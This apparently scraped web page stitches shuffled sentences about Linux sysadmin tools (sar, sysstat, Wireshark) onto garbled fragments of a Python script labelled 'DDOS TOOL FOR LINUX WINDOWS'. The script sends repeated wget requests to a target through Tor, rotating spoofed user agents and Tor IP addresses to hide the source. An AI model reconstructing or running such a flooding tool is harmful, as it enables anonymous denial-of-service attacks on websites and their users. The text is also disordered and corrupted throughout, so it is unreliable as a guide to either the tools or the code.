Wireshark is one of my favorite sysadmin tools. It is so useful and so essential to advanced troubleshooting that its use should be a requirement for all mid-to-senior level system administrator positions. To learn more about sysstat and sar, read Linux capacity planning: 5 things you need to do and Troubleshooting slow servers. Since the sysstat package has been around so long, there's plenty of documentation for it and all of the commands in its suite. If you don't have sar, it's easy to get by installing the sysstat package. For example, look at sar -C to display CPU performance: $ sar -C The sar command provides a lot of system performance statistics that cover every aspect of every subsystem's performance. There are just too many options to explain in anything short of a 60-page manual. If you want to understand why, enter man sar at a prompt and see for yourself. I can't possibly explain all of the options provided by sar. The System Activity Reporter ( sar) has been a favorite of mine for many years and is part of the sysstat package that is now installed by default. Here is your opportunity to do just that. You should get acquainted with them and add them to your toolbox. Most of them have helped me for more than 15 years. These five meet all of the requirements for essential system administration tools. We need efficient tools that are unencumbered by complexity and high cost. None of us have the luxury of time to learn a hundred different options and tweaks to get what we want. We love to collect tools, but we're also practical in that we want tools that work and do their jobs without being too fiddly, or too high maintenance. Favorite applications, favorite command-line scripts, and favorite tools are all part of the sysadmin's life script. Linux system administration skills assessmentĮvery system administrator has a secret and sacred toolbox to help them manage Linux systems.A guide to installing applications on Linux.Wgettor = WgetTor(args_in.target, args_in. Parser.add_argument('-n', '-number', required=True, help=h) Parser.add_argument('-t', '-target', required=True, help=h)
H = ('target URL or IP', 'number of requests') Parser = ArgumentParser(description=description)
Return er_agentsĬmd = self.wget % (self.get_agent(), self.target_address)ĭescription = 'Usage: python wgettor.py -t ' If not self.check_listening() or not self.check_services():Įrror = 'Please ensure the Tor service is started 'Įrror += 'and listening on socket 127.0.0.1:9050' Return 'root' in Popen(who, check_listening():įor line in popen('service -status-all'):Įrror = "Please run wgettor.py with root privileges"
DDOS TOOL FOR LINUX WINDOWS
"Mozilla/4.0 (compatible MSIE 6.0 Windows NT whoami(): "Mozilla/4.0 (MSIE 6.0 Windows NT 5.1 Search)", "facebookexternalhit/1.1 line-poker/1.0", "Mozilla/5.0 (compatible news bot /2.1)", "Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.0)", # replace or add additional user agents set_user_agents(): Self.wget = "torsocks wget -q -spider -user-agent='%s' %s" # requirements: Python 3, Tor/Torsocks, netstatĭef _init_(self, target_address, number): # This program relies on the Torsocks shell utility # Tor must be installed and running as a service However even without the join the program still seems to wait a few seconds for the all the threads to finish before stopping (even though the wget requests have already been completed). Originally I was joining all the threads, but I noticed that the main thread would hang for a few seconds after running. This script requires a Debian Linux distro, tor/torsocks (running as a service), and also netstat for a pre-run check that tor is listening on 127.0.0.1:9050. as far as I can tell this is because of the threading lock around self.reload (that is used to generate a new tor IP address). There will be several requests per IP address.
0 kommentar(er)
